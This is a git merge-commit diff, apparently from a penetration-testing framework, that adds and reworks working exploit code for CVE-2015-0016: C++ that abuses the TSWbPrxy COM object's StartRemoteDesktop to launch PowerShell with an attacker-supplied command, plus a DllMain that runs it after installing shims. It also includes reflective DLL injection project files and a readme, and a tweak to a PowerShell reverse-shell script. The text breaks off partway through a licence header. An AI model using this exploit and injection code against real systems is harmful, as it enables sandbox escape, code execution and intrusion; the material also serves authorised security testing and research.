Merge remote-tracking branch 'upstream/master' into adsi_group_enum_improvements

bug/bundler_fix
Stuart Morgan 2015-08-28 15:11:27 +01:00
commit b8b68983b0
55 changed files with 3566 additions and 468 deletions

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@ -135,7 +135,7 @@ GEM
railties (>= 4.0.9, < 4.1.0)
recog (~> 2.0)
method_source (0.8.2)
mime-types (2.4.3)
mime-types (2.6.1)
mini_portile (0.6.2)
minitest (4.7.5)
msgpack (0.6.2)

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@ -36,7 +36,7 @@ function powerfun
$stream = $sslStream
}
[byte[]]$bytes = 0..255|%{0}
[byte[]]$bytes = 0..20000|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

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@ -0,0 +1,16 @@
Release/
Debug/
x64/
dll/Release/
dll/Debug/
dll/reflective_dll.vcproj.*.user
dll/reflective_dll.vcxproj.user
inject/Release/
inject/Debug/
inject/inject.vcproj.*.user
inject/inject.vcxproj.user
rdi.ncb
rdi.suo
rdi.sdf
rdi.opensdf
rdi.v11.suo

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@ -0,0 +1,25 @@
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.

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@ -0,0 +1,40 @@
About
=====
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable.
Overview
========
The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.
Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows.
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
* The library's headers and sections are loaded into their new locations in memory.
* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.
* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.
Build
=====
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll
Usage
=====
To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.:
> inject.exe 1234
License
=======
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.

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@ -1,22 +0,0 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2015-0016", "cve-2015-0016\cve-2015-0016.vcxproj", "{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.ActiveCfg = Debug|Win32
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.Build.0 = Debug|Win32
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.ActiveCfg = Release|Win32
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

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@ -1,48 +0,0 @@
========================================================================
DYNAMIC LINK LIBRARY : cve-2015-0016 Project Overview
========================================================================
AppWizard has created this cve-2015-0016 DLL for you.
This file contains a summary of what you will find in each of the files that
make up your cve-2015-0016 application.
cve-2015-0016.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
cve-2015-0016.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
cve-2015-0016.cpp
This is the main DLL source file.
When created, this DLL does not export any symbols. As a result, it
will not produce a .lib file when it is built. If you wish this project
to be a project dependency of some other project, you will either need to
add code to export some symbols from the DLL so that an export library
will be produced, or you can set the Ignore Input Library property to Yes
on the General propert page of the Linker folder in the project's Property
Pages dialog box.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named cve-2015-0016.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////

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@ -1,46 +0,0 @@
// MyExploit.cpp : Defines the exported functions for the DLL application.
//
#include "stdafx.h"
#include <objbase.h>
#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace
#define MAX_ENV 32767
bstr_t GetEnv(LPCSTR env)
{
CHAR buf[MAX_ENV];
GetEnvironmentVariable(env, buf, MAX_ENV);
return buf;
}
void DoTSWbPrxyExploit() {
HRESULT hr;
IMSTSWebProxy *pUnk;
CHAR cmdline[] = "TSWbPrxy.exe";
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
hr = CreateProcess(GetEnv("windir") + "\\System32\\TSWbPrxy.exe", cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo);
if (hr == 0)
return;
hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk);
if (hr != 0)
return;
pUnk->StartRemoteDesktop(GetEnv("windir") + "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", GetEnv("PSHCMD"));
pUnk->Release();
}
DWORD CALLBACK ExploitThread(LPVOID hModule)
{
CoInitialize(nullptr);
DoTSWbPrxyExploit();
CoUninitialize();
FreeLibraryAndExitThread((HMODULE)hModule, 0);
}

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@ -1,105 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>cve20150016</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="cve-2015-0016.cpp" />
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

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@ -1,24 +0,0 @@
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
DWORD CALLBACK ExploitThread(LPVOID hModule);
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

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@ -1,8 +0,0 @@
// stdafx.cpp : source file that includes just the standard includes
// cve-2015-0016.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

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@ -1,16 +0,0 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
// TODO: reference additional headers your program requires here

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@ -1,8 +0,0 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>

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@ -0,0 +1,20 @@

Microsoft Visual Studio Solution File, Format Version 10.00
# Visual C++ Express 2008
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

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@ -0,0 +1,357 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="reflective_dll"
ProjectGUID="{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
RootNamespace="reflective_dll"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
<Platform
Name="x64"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
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<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
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<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
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<Tool
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<Tool
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<Tool
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Optimization="2"
InlineFunctionExpansion="1"
EnableIntrinsicFunctions="true"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
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<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
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<Tool
Name="VCLinkerTool"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy ..\Release\reflective_dll.dll ..\bin\"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="2"
WholeProgramOptimization="0"
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<Tool
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<Tool
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/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy $(OutDir)\$(ProjectName).x64.dll ..\bin\"
/>
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<References>
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<Files>
<Filter
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Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
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</VisualStudioProject>

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@ -0,0 +1,268 @@
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<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
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<ProjectConfiguration Include="Debug|Win32">
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<ProjectConfiguration Include="Release|ARM">
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<ProjectConfiguration Include="Release|Win32">
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<ProjectConfiguration Include="Release|x64">
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View File

@ -0,0 +1,41 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c">
<Filter>Source Files</Filter>
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<ClCompile Include="src\ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\Exploit.cpp">
<Filter>Source Files</Filter>
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<ClCompile Include="src\ShimsInstaller.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Exploit.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ShimsInstaller.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

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@ -0,0 +1,74 @@
#include <Windows.h>
#include "Exploit.h"
#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace
static const size_t MaxEnv = 32767;
static PCHAR GetEnv(LPCSTR env)
{
char *buf = (char *)malloc(MaxEnv);
if (buf == NULL) {
return NULL;
}
GetEnvironmentVariable(env, buf, MaxEnv);
return buf;
}
static VOID DoTSWbPrxyExploit() {
HRESULT hr;
IMSTSWebProxy *pUnk;
CHAR cmdline[] = "TSWbPrxy.exe";
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
PCHAR fullPath = NULL;
PCHAR powershell = NULL;
PCHAR pshCmd = NULL;
fullPath = GetEnv("windir");
if (fullPath == NULL) {
goto freeFullPath;
}
strcat_s(fullPath, MaxEnv, "\\System32\\TSWbPrxy.exe");
powershell = GetEnv("windir");
if (powershell == NULL) {
goto freePowershell;
}
strcat_s(powershell, MaxEnv, "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe");
pshCmd = GetEnv("PSHCMD");
if (pshCmd == NULL) {
goto freePowershell;
}
hr = CreateProcess(fullPath, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startInfo, &procInfo);
if (hr == 0)
goto freePshCmd;
hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk);
if (hr != 0)
goto freePshCmd;
pUnk->StartRemoteDesktop(powershell, pshCmd);
pUnk->Release();
freePshCmd:
free(pshCmd);
pshCmd = NULL;
freePowershell:
free(powershell);
powershell = NULL;
freeFullPath:
free(fullPath);
fullPath = NULL;
return;
}
VOID DoExploit() {
CoInitialize(NULL);
DoTSWbPrxyExploit();
CoUninitialize();
}

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@ -0,0 +1,5 @@
#ifndef EXPLOIT_H
#define EXPLOIT_H
VOID DoExploit();
#endif

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@ -0,0 +1,51 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//

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@ -0,0 +1,53 @@
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
#include <objbase.h>
#include "ShimsInstaller.h"
#include "Exploit.h"
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved);
BOOL firstTime = TRUE;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
if (firstTime) {
firstTime = FALSE;
// Will install shims and will result in a new entry to the
// reflective DLL DllMain entryPoint, at that point execution can
// be executed.
InstallShims(hinstDLL, &DllMain, lpReserved);
}
else {
DoExploit();
}
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

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@ -0,0 +1,496 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
